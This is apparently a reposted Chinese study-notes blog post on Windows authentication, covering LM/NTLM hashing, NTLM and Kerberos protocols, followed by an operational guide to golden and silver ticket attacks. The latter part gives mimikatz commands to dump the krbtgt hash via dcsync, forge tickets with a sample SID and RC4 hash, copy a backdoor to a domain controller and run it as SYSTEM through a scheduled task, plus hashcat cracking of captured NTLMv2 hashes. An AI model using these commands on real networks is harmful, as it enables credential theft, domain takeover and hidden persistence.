windows认证

news2024/11/24 5:31:05

本地环境用户信息存储在%systemroot%/system32/SAM

域环境用户信息存储在ntds.dit

本地认证

windows系统下哈希结构:username:RID:LM-HASH:NT-HASH

LM哈希

算法:

转大写,转二进制,补0补足14字节

二分获得两段字串,每一段都做以下处理:

每7位插入一个0

最终获得16字节的字串,转为十六进制

最终获得两个16字节的十六进制字符串

KGS!@#$%转十六进制作为明文,使用第一个字串作为密钥加密,获得密文

再用以上密文作为明文,使用第二个字串作为密钥加密,获得密文,此密文即为lm hash

NTLM哈希

 算法:转十六进制,转unicode格式,md4加密获得32位十六进制字串即为NTLM hash

网络认证

基于挑战响应认证的NTLM协议

协商、质询、验证

协商:a发送username给b

质询:

若b有username这名用户,随机生成名称为challenge的字符串与username的ntlm哈希加密得到结果challenge1,存储在本地

b将challenge字符串发送给a,a将challenge与password计算得来的ntlm哈希加密,作为response发送给b

验证:若a发送的response与b本地保存的challenge1结果相同,则验证成功。

NTLMv2

网络认证使用NTLMv2

格式 username::domain:challange:HMAC-MD5:blob

HMAC-MD5 -> NTPproofStr

blob ->  response字符串去掉NTProofStr

对应值在流量包中查看

hashcat -m 5600 解密的NTLMv2的值 字典 --force 实现暴力破解密码,5600指代NTLMv2类型

powertshell 管理员使用inveigh抓取网络认证过程中的NTLMv2

Kerberos

KDC包含AS、TGS

client向AS发起明文请求(内容包括client的name、ip、时间戳)

AS接收请求,通过AS的验证,向client发放TGT(内容有client的name和ip、ServerIP,TGS Name、时间戳、CT_SK,整体被TGS密码加密)、client可以知道的内容(时间戳、TGS Name、时间戳、CT_SK,整体被client密码加密)

client将TGT和client必要信息(client的name、ip、时间戳,整体被CT_SK加密)交付给TGS

TGS使用TGS密码解密TGT,获得CT_SK,从而使用CT_SK查看client的信息,将TGT与client信息做验证

验证成功后,TGS发放ST(client的name和ip、serverip、时间戳、ST有效时间、CS_SK,整体被server密码加密)、client可以知道的内容(时间戳、ST有效时间、CS_SK,整体被CT_SK加密)给client

client将ST、client必要信息(name、ip、时间戳、ST有效时间,整体被CS_SK加密)交付给server,

server使用ST里的CS_SK解密client必要信息,将ST与client必要信息进行验证

验证成功则实现client、server互相信任

黄金票据

TGT由krbtgt的ntlm hash加密

获取krbtgt的ntlm hash,伪造TGT,越过AS验证

维权

前提条件

1.有dc的域名、域sid、krbtgt的ntlm哈希,且krbtgt密码未更改

net config workstation 获取域名

nltest /dclist:域名 获取域控名称

whoami /user 获取用户sid,最后一段数字去掉就是域sid

lsadump::dcsync /domain:test.com /user:krbtgt 获取krbtgt的ntlm哈希

2.有域内其他机器权限

操作

mimikatsz kerberos::purge 清理原有票据

mimikatsz kerberos::tgt 查票

1.mimikatz lsadump::dcsync /dc:域控 /domain:域名 /user:krbtgt 获取krbtgt的ntlm哈希

2.在域内其他机器上制作黄金票据(dc的域名、域sid、krbtgt的ntlm哈希)

3.将后门文件copy到域控

shell copy 后门程序在被控机器的位置 \\域控域名\文件位置

4.设置计划任务

shell schtasks /create /s dc域名 /tn 计划任务名字 /sc onstart /tr 执行文件位置 /ru system /f

5.执行计划任务

shell schtasks /run /s dc域名 /i /tn 计划任务名字 

白银票据

获取服务的ntlm哈希,伪造ST

mimikatsz kerberos::purge 清理原有票据

shell klist purge 清理原有票据

mimikatz sekurlsa::logonpasswords 获取服务账号的ntlm哈希

mimikatz kerberos::golden /domain:域名  /sid:域sid /target 域控 /service:要伪造的服务 /rc4:要伪造的服务的ntlm哈希 /user:伪造的用户名 /ptt

ldap 可以使用mimikatz lsadump::dcsync /dc:域控 /domain:域名 /user:krbtgt 获取krbtgt的ntlm哈希 然后获取黄金票据

cifs 使用dir查看或拷贝文件

host 可以设置、执行计划任务

mimikatz kerberos::golden /domain:dc.study.com /sid:S-1-5-21-3882865070-3794351248-2220759032 /target:dc.study.com /service:HOST /rc4:88f5b1e63d401d17cc81720a39fd66e5 /user:opop /ptt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2197793.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

算法:238.除自身以外数组的乘积

题目 链接:leetcode链接 思路分析(前缀和) 这道题非常类似 724. 寻找数组的中心下标 在前一篇博客讲解了该题目 传送门:算法:724.寻找数组的中心下标 这道题目的区别在于,这道题是预处理前缀积和后缀积 另外&#x…

了解网页 blob 链接

blob 链接 自从 HTML5 提供了 video 标签,在网页中播放视频变得非常简单,只要在代码中插入一个 video 标签,再将 video 标签的 src 属性设置为视频的链接就可以了。由于 src 指向的是视频文件真实的地址,所以当我们通过浏览器的调…

如何绘制短剧产业链图谱?短剧产业前景如何?

绘制短剧产业链图谱是一个涉及多个环节的复杂过程。我们首先需要确定产业链的主要环节,包括内容创作、制作、发行、宣传和观众。每个环节都由不同的参与者组成,如编剧、导演、演员、制作公司、版权销售商、在线平台、电视台、广告公司和消费者等&#xf…

《CTF 特训营》:网络安全竞赛的进阶指南

在网络安全领域日益受到重视的今天,CTF(Capture The Flag)竞赛作为一种检验和提升网络安全技能的方式,受到了越来越多爱好者的关注。而《CTF 特训营》这本书,无疑是一本帮助读者深入了解 CTF 竞赛的优秀读物。 一、书籍…

Linux shell编程学习笔记86:sensors命令——硬件体温计

0 引言 同事们使用的Windows系统电脑,经常莫名其妙地装上了鲁大师,鲁大师的一项功能是显示系统cpu等硬件的温度。 在Linux系统中,sensors命令可以提供类似的功能。 1 sensors命令 的安装和配置 1.1 sensors命令 的安装 要使用sensors命…

INS淡绿色风格人像街拍Lr调色教程,手机滤镜PS+Lightroom预设下载!

调色介绍 INS 淡绿色风格人像街拍通过 Lightroom 调色可以营造出清新、自然、时尚的视觉效果。这种风格以淡绿色为主色调,给人一种宁静、舒适的感觉。 预设信息 调色风格:INS风格预设适合类型:人像,街拍,自拍&#…

动态规划算法题目练习——62.不同路径

1.题目解析 题目来源:62.不同路径——力扣 测试用例 2.算法原理 1.状态表示 这时由于避免越界初始化所以将左上角置为虚拟位置,创建一个二维dp表用来存储到当前为止的所有路径 2.状态转移方程 以dp[i,j]为例,起点到该位置的路径是起点到其上…

信息安全工程师(40)防火墙技术应用

一、防火墙的基本概念 防火墙是一种网络安全设备,用于监控和控制网络流量,以保护网络免受未经授权的访问和攻击。它可以是装配多张网卡的通用计算机,也可能是通用的物理设备。防火墙通过在网络之间设置访问控制策略,对进出的通信流…

JAVA开源项目 新生报到网站 计算机毕业设计

本文项目编号 T 002 ,文末自助获取源码 \color{red}{T002,文末自助获取源码} T002,文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析 六、核心代码6.1 提…

【C语言】指针练习题

一、指针指向问题 int main() {int a[5] { 1, 2, 3, 4, 5 };int* ptr (int*)(&a 1);printf("%d,%d", *(a 1), *(ptr - 1));return 0; } 结果为:2,5。&a是整个数组(&a 1)被强转为(int*&am…

mujoco版本问题以及ERROR: Failed building wheel for mujoco-py

问题: ERROR: Failed building wheel for mujoco-py Failed to build mujoco-py ERROR: Could not build wheels for mujoco-py, which is required to install pyproject.toml-based projects 起因: 一开始我使用这个命令安装pip install mujoco_py&…

跨境卖家品牌出海要注意哪些方面

随着目前互联网的发展,市场由线下扩张到全国,再扩张到了全球,但是海外市场和国内并不相同跨境卖家品牌想要出海,需要注意多个方面,以确保能够在国际市场上成功立足并发展。以下是一些关键点: 首先想得拥有…

2-116 基于matlab的主成分分析(PCA)及累积总和(CUSUM)算法故障监测

基于matlab的主成分分析(PCA)及累积总和(CUSUM)算法故障监测,针对传统的多元统计分析方法对生产过程中微小故障检测不灵敏的问题,使用基于主元分析的累积和的微小故障检测方法进行故障监测,通过…

微信卸载后聊天记录全部消失,重新安装后有方法恢复吗?

微信作为我们日常沟通的重要工具,其聊天记录往往承载着许多珍贵的回忆和重要的信息。然而,在日常使用手机的过程中,我们时常会出于清理内存、解决软件故障或尝试新版本等原因,选择卸载并重新安装微信app。然而,这一简单…

国家公务员考试倒计时页面介绍

代码复刻 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>国家公务员考试倒计时</title><…

malloc(0)

malloc(0) 在操作系统底层的实现涉及内存分配管理的多个方面。下面是对 malloc(0) 的实现原理的详细解释&#xff1a; 1. 内存分配管理 操作系统通过内存管理子系统来处理内存分配请求&#xff0c;包括 malloc 函数。内存分配通常使用以下几种策略&#xff1a; 堆管理&#…

OpenFegin

文章目录 一、OpenFegin是什么&#xff1f;二、基本使用三、超时重试机制4.自定义超时重传机制五、底层实现 一、OpenFegin是什么&#xff1f; OpenFeign的全称为Spring Cloud OpenFeign(下文简称OpenFeign),是Spring Cloud团队开发的一款基于 Feign的框架&#xff0c;声明式W…

Overleaf 无法显示图片

问题描述 在Overleaf中的代码为&#xff1a; \begin{figure}\centering\includegraphics[width0.98\linewidth]{figures/test.png}\caption{This is a test.}\label{fig:test} \end{figure}但无法正常显示图片&#xff1a; 解决方案 修改编译模式为正常Normal而非快速Fast …

Python 工具库每日推荐【python-docx】

文章目录 引言Python 文档处理库的重要性今日推荐:Python-docx 工具库主要功能:使用场景:安装与配置快速上手示例代码代码解释实际应用案例案例:自动生成个性化证书案例分析高级特性样式应用表格操作扩展阅读与资源优缺点分析优点:缺点:总结【 已更新完 TypeScript 设计模…

八大排序--03插入排序

假设数组 arr[] {5,7,4,2,0,1,6},请通过插入排序的方式&#xff0c;实现从小到大排列&#xff1a; 方法&#xff1a;插入排序默认待排数组中的第一个是已经排好序的数值&#xff1b;定义游标从第二个数据开始不断向后方进行遍历&#xff0c;并将游标指向的数据不断插入到排好序…